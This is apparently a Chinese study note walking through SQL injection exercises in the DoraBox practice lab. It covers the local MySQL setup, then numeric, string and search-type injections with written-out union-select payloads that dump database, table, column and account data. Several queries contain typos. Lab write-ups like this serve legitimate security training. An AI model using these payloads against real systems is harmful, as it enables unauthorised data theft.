今天开始做DoraBox-master的SQL注入练习。DoraBox-master的搭建和通关都要比sqlimaster简单一点。
给一份官方下载地址DraBox在GitHub下载
先改好coon.php文件,一般来说红框框里都改成root
在使用PHP study搭建的环境之下,在 命令行中进行操作。
先把数据库文件打开,每个人安装的位置不一样,但大致是cd 每个地方下面的\phpstudy_pro\Extensions\MySQL5.7.26\bin
,再依次输入:d
和mysql -u root -p
,要求输入数据库密码,一般来说都是root,之后进入数据库操作界面。
因为在DoraBox-master的文件中sql文件是pentest.sql
所以我们在phpstudy中建的数据库名字也是pentest。创建数据库create database pentest;
,查看数据库show databases;
然后进入数据库,use pentest;
导入数据库文件source D:\phpstudy_pro\WWW\DoraBox-master\pentest.sql
,一串OK之后就能使用了。
测试一下随便一个题,有输入有反馈就成功了。
真是十分简洁(lou)的页面啊
因为是数字型就一个个试,先来一个1
多半都是没结果的,但至少证明搭好了能用。
先判断字段,1 order by 1(n),n++
。当n = 4时报错,说明字段数为3.
然后构造注入语句-1 union select 1, 2, 3
看到是有显示的,就在这里插入注入语句。
-1 union select 1,concat(user(),'|',database()),3
数据库时pentest,开始爆表-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
表名确定了再爆列-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema='account'
已知表和列,可构造查询字段内容
-1 UNION SELECT 1,2,concat_ws('|',id,rest,own) from account
两个表可以都暴一下,第二个news爆出来是0 union select 1, 2, (select group_concat(id,title,content) from pentest.news)
字符型与数字型的区别在于变量是否用单引号包裹,当不闭合单引号时,没有查询结果。闭合单引号a' or '1'='1
后,成功执行语句。
还是测试字段,到n=4时报错,则三个字段a' order by 4#
之后就和数字型一样,注入DoraBox' and '1'='2' union select 1,2,3'
爆库
爆表
a' and '1'='2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest
爆列。。。
a' and '1'='2' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='acctount'#
搜索型包含单引号和百分号,都开闭合
a' or 1=1--
一定要记得–后面有一个空格
用a' order by n--
,依旧是当n=4时报错,三个字段
注入
之后就一样了
-a' union select 1,2,concat_ws(0x3a,database(),user())--
-a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'--
-a' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='account' --
-a' UNION SELECT 1,2,concat_ws('--',id,rest,own) from account--